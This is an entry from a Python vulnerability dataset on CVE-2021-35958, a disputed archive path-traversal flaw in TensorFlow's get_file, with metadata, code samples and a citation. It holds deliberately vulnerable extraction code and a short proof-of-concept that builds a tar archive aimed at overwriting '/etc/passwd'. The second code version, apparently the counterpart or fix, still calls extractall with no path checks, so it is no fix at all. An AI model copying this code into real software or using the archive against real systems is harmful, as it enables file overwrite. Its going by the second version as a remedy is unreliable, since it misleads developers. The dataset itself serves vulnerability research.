CVE-2021-35958

File overwrite in TensorFlow 2.5.0 via tf.keras.utils.get_file (extract=True), not for untrusted archives

• CVSS 9.1
• CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
• Input Validation and Sanitization
• Local

** DISPUTED ** TensorFlow through 2.5.0 allows attackers to overwrite arbitrary files via a crafted archive when tf.keras.utils.get_file is used with extract=True. NOTE: the vendor's position is that tf.keras.utils.get_file is not intended for untrusted archives.

CVE

CVE-2021-35958

CWE

CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

CVSS base score

9.1

Published

2021-06-30

OWASP

A08 Software and Data Integrity Failures

Orthogonal defect classification

Function

Code defect classification

Incorrect Functionality

Category

Input Validation and Sanitization

Subcategory

Path Traversal

Accessibility scope

Local

Impact

Arbitrary Code Execution

Affected component

TensorFlow

Fixed by upgrading

Yes

Solution

Update TensorFlow to version 2.5.1 or higher.

import os
import tarfile
import zipfile
from urllib.request import urlretrieve

def get_file(url, cache_dir='.', extract=False):
    filename = os.path.join(cache_dir, os.path.basename(url))

    urlretrieve(url, filename)

    if extract:
        if filename.endswith('.tar.gz') or filename.endswith('.tgz'):
            with tarfile.open(filename, 'r:gz') as tar:
                tar.extractall(path=cache_dir)
        elif filename.endswith('.zip'):
            with zipfile.ZipFile(filename, 'r') as zip_ref:
                zip_ref.extractall(path=cache_dir)

    return filename

import os
import tarfile
import zipfile
from urllib.request import urlretrieve

def get_file(url, cache_dir='.', extract=False):
    filename = os.path.join(cache_dir, os.path.basename(url))

    urlretrieve(url, filename)

    if extract:
        extractfunction(filename, cache_dir)

    return filename

def extractfunction(file_path, extract_to='.'):
    if file_path.endswith('.tar.gz') or file_path.endswith('.tgz'):
        with tarfile.open(file_path, 'r:gz') as tar:
            tar.extractall(path=extract_to)
    elif file_path.endswith('.zip'):
        with zipfile.ZipFile(file_path, 'r') as zip_ref:
            zip_ref.extractall(path=extract_to)

import tarfile
import io

# Create an in-memory tar archive with a malicious file path.
buffer = io.BytesIO()
with tarfile.open(fileobj=buffer, mode="w:gz") as tar:
    # Create a TarInfo object with a file name that escapes the target directory.
    malicious_filename = "/etc/passwd"
    content = b"This is a malicious payload"
    info = tarfile.TarInfo(name=malicious_filename)
    info.size = len(content)
    tar.addfile(tarinfo=info, fileobj=io.BytesIO(content))

# Write the malicious tar archive to disk
with open("malicious.tar.gz", "wb") as f:
    f.write(buffer.getvalue())

@misc{vaitp:cve202135958,
  title        = {{File overwrite in TensorFlow 2.5.0 via tf.keras.utils.get_file (extract=True), not for untrusted archives}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2021},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2021-35958},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2021-35958/}}
}